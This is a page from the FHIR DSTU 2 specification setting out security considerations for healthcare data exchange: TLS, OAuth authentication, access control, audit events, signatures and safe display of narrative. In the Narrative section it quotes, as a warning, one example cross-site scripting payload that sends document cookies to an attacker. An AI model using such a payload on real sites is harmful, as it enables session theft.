This page is part of the FHIR Specification (v1.0.2: DSTU 2). The current version which supercedes this version is 4.3.0. For a full list of available versions, see the Directory of published versions

2.12.0 FHIR Security

FHIR Infrastructure Work GroupMaturity Level: N/ABallot Status: DSTU 2

Fast Healthcare Interoperability Resources (FHIR) is not a security protocol, nor does it define any security related functionality. However, FHIR does define exchange protocols and content models that need to be used with various security protocols defined elsewhere. This section gathers all information about security in one section. A summary:

  • Communications Security - all exchange of production data should be secured using TLS/SSL (e.g. https)
  • Authentication - Users/Clients may be authenticated in any way desired. For web-centric use, OAuth is recommended
  • Authorization/Access Control - FHIR defines a Security Label infrastructure to support access control management. FHIR may also define a set of resources to administer access control management, but does not define any at present
  • Audit - FHIR defines provenance and audit event resources suitable for tracking the origins, authorship, history, status, and access of resources
  • Digital Signatures - FHIR includes several specifically reserved locations for digital signatures
  • Attachments - FHIR allows for binary resources and attachments. These have their own concerns
  • Labels - FHIR allows for set of security related tags that affect that way resources are handled
  • Data Management Policies - FHIR defines a set of capabilities to support data exchange. Not all the capabilities that FHIR enables may be appropriate or legal for use in some combinations of context and jurisdiction (e.g. HIPAA for exchange between institutions). It is the responsibility of implementers to ensure that relevant regulations and other requirements are met
  • Narrative - Care must be taken when displaying the narrative from FHIR resources

Time critical concerns regarding security flaws in the FHIR specification should be addressed to the FHIR email list for prompt consideration.

Implementers should track the developing IHE IUA Profile for additional security considerations.

A production FHIR system will need some kind of security sub-system that administers users, user authentication, and user authorization. Where this subsystem fits into the deployment architecture is a matter for system design:

The consumer that is using a healthcare related system
The client application the user is using (application, mobile app, website, etc.)
The security system (authentication and access control)
The clinical/healthcare repository

In this diagram, the red lines represent FHIR interfaces. From the perspective of the FHIR API, the client (consumer of FHIR services) may either interact with a security system that manifests as a FHIR server, and which depends on a subsequent FHIR interface to provide the actual storage, or either the client or server interacts with the security system independently. In each of these 3 scenarios, the different components may be assembled into applications or network components differently, but the same logical layout applies. The FHIR specification assumes that a security system exists, and that it may be deployed in front of or behind the FHIR API.

The security system includes the following subsystems:

  • Authentication: identifies and authenticates the user
  • Access Control decision engine: decides whether FHIR operations are allowed
  • Audit Log: records actions to allow for subsequent review and detection of intrusion or inappropriate usage

Because there are a plethora of standards relating to the administration and functionality of the security system, FHIR does not provide user, profile, or other such administration resources. Instead, the FHIR resources are the targets of the policies expressed in these other approaches. What FHIR does specify is a way to apply security labels to resources so that a security system may use these (along with the contents of the resources if appropriate) to determine whether a user is authorized to perform a particular FHIR operation or not. Communications

For the RESTful API, normal HTTP security rules apply. The Service Root URL will specify whether SSL is required. Client authentication may be required by the server, possibly including the requirement for client certificates.

TLS/SSL SHOULD be used for all production data exchange. The TLS/SSL communications are established prior to any HTTP command/response, so the whole FHIR interaction is protected by the SSL/TLS communications. The security of the endpoints of the TLS/SSL communications must be risk-managed, so as to prevent inappropriate risks (e.g. audit logging of the GET parameters into an unprotected audit log).

To support browser-based client applications, servers SHOULD implement cross-origin resource sharing for the REST operations.

The choice of whether to return 403 or 404 depends upon the specific situation and specific local policies, regulations, and laws. The decision of which error to use will include consideration of whether disclosure of the existence of relevant records is considered an acceptable disclosure of PI or a prohibited disclosure of PI. Note that since a 404 does not leak information, it should be the default choice unless there is a specific reason to return a 403.

Chained search implementations need to observe the restrictions on a user in the chained search, and that it would be normal to simply omit resources from the search if the user is not authorized, but a server may elect to add an OperationOutcome to indicate that additional resources may be available if other access tokens are used (e.g. break the glass) (example). Authentication

Other than testing systems, FHIR servers should authenticate the clients. The server may choose to authenticate the client system and trust it, or to authenticate the individual user by a variety of techniques. For web-centric use, OAuth may be used to authenticate and/or authorize the users. The Smart-On-FHIR profile on OAuth is tightly integrated with FHIR and is the preferred method for using OAuth. Authorization/Access Control

Correctly identifying people, devices, locations and organizations is one of the foundations that any security system is built on. Most applications of security protocols, whether authentication, access control, digital signatures, etc. rely on the correct mapping between the relevant resources and the underlying systems. Note that this isn't necessary. There is nothing in FHIR that requires or relies on any security being in place, or any particular implementation. However, real world usage will generally require this.

A holder of data should not allow the data to be communicated unless there are sufficient assurances that the other party is authorized to receive it. This is true for a client creating a resource through a PUT/POST, as much as it is true for a server returning resources on a GET. The presumption is that without proper authorization, to the satisfaction of the data holder, the data does not get communicated.

The rules behind the access control decision are often very complex, and potentially depends on information sourced from:

  • Client, such as user identity, user role, location, level of assurance
  • Resource, such as confidentiality, sensitivity, type of data, date ranges covered by the data, author of the data
  • Patient, such as the patient identity, patient relationship to the user, patient consent policies
  • Context of the transaction, system identity, time-of-day, purpose of use, workflow state, and transport security

For one source of further information, see the IHE Access Control white paper

Access control constraints may result in data returned in a read or search being redacted or otherwise restricted. See Variations between Submitted data and Retrieved data. Audit Logging

FHIR provides an AuditEvent resource suitable for use by FHIR clients and servers to record when a security or privacy relevant event has occurred. This form of audit logging records as much detail as reasonable at the time the event happened.

When used to record security and privacy relevant events, the AuditEvent can then be used by properly authorized applications to support audit reporting, alerting, filtering, and forwarding. This model has been developed and used in healthcare for a decade as IHE-ATNA profile . ATNA log events can be automatically converted to AuditEvent resources, and from there, client applications are able to search the audit events, or subscribe to them.

With regard to HTTP logs, implementers need to consider the implications of distributing access to the logs. HTTP logs, including those that only cotain the URL itself, should be regarded as being as sensitive as the resources themselves. Even if direct PHI is kept out of the logs by careful avoidance of search parameters (e.g. by using GET), the logs will still contain a rich set of information about the clinical records. Digital Signatures

This specification recommends the use of W3C Digital Signatures for signatures. Resources can be signed using the Provenance resource to carry a detached digital signature . The Signature datatype is available to support various signature types including non-repudiation purposes. Further details on creation and validation of Signatures are defined.

In addition, documents may be signed using an enveloped signature. A specification for enveloped signature is profiled in the IHE DSG profile .

Neither of these definitions prohibits the use of other ways of using digital signatures.

DSTU Note: the use of signatures with RESTful interfaces is a poorly understood area, and we would welcome reports of implementation experience.

Feedback here . Attachments

Several FHIR resources include attachments. Attachments can either be references to content found elsewhere or included inline encoded in base64. Attachments represent security risks in a way that FHIR resources do not, since some attachments contain executable code. Implementers should always use caution when handling resources. Security Labels

See Security Labels. Narrative

FHIR resources include an XHTML narrative, so that applications can display the contents of the resource to users without having to fully and correctly process the data in the resource. However, displaying HTML is associated with several known security issues that have been observed in production systems in other contexts (e.g. with CDA ). For this reason, the FHIR narrative is not allowed to contain active content. However, care is still needed when displaying the narrative:

  • Validate the narrative (the standard FHIR schemas do not allow active content, and the reference implementations won't handle it). Note, though, that external references could still be included in CSS, and these are outside the scope of schemas and reference implementations.
  • Ensure that any external references to images or anchors (e.g. outside the resource) do not cause the display software to leak sensitive information in headers
  • Do not allow external links to run in a privileged context such as the EHR unless you are sure they can be trusted
  • Care should be taken to differentiate HTTP RESTful (API) from browser based server content. Specifically, one should separate user session cookies, as an attacker could create content that serves up with content-type "text/html" and has content like "<script>send_to_attacker(document.cookie);</script>".

Also note that the inclusion of an external reference to an image can allow the server that hosts the image to track when the resource is displayed. This may be a feature or a problem depending on the context.

In addition to narrative, Documents may also contain stylesheets. Unlike with CDA, the stylesheets are simple CSS stylesheets, not executable XSLT, so the same security risks do not apply. However CSS stylesheets may still reference external content (e.g. background images), and applications displaying documents should ensure that CSS links are not automatically followed without checking their safety first, and that session/identifying information does not leak with any use of external links.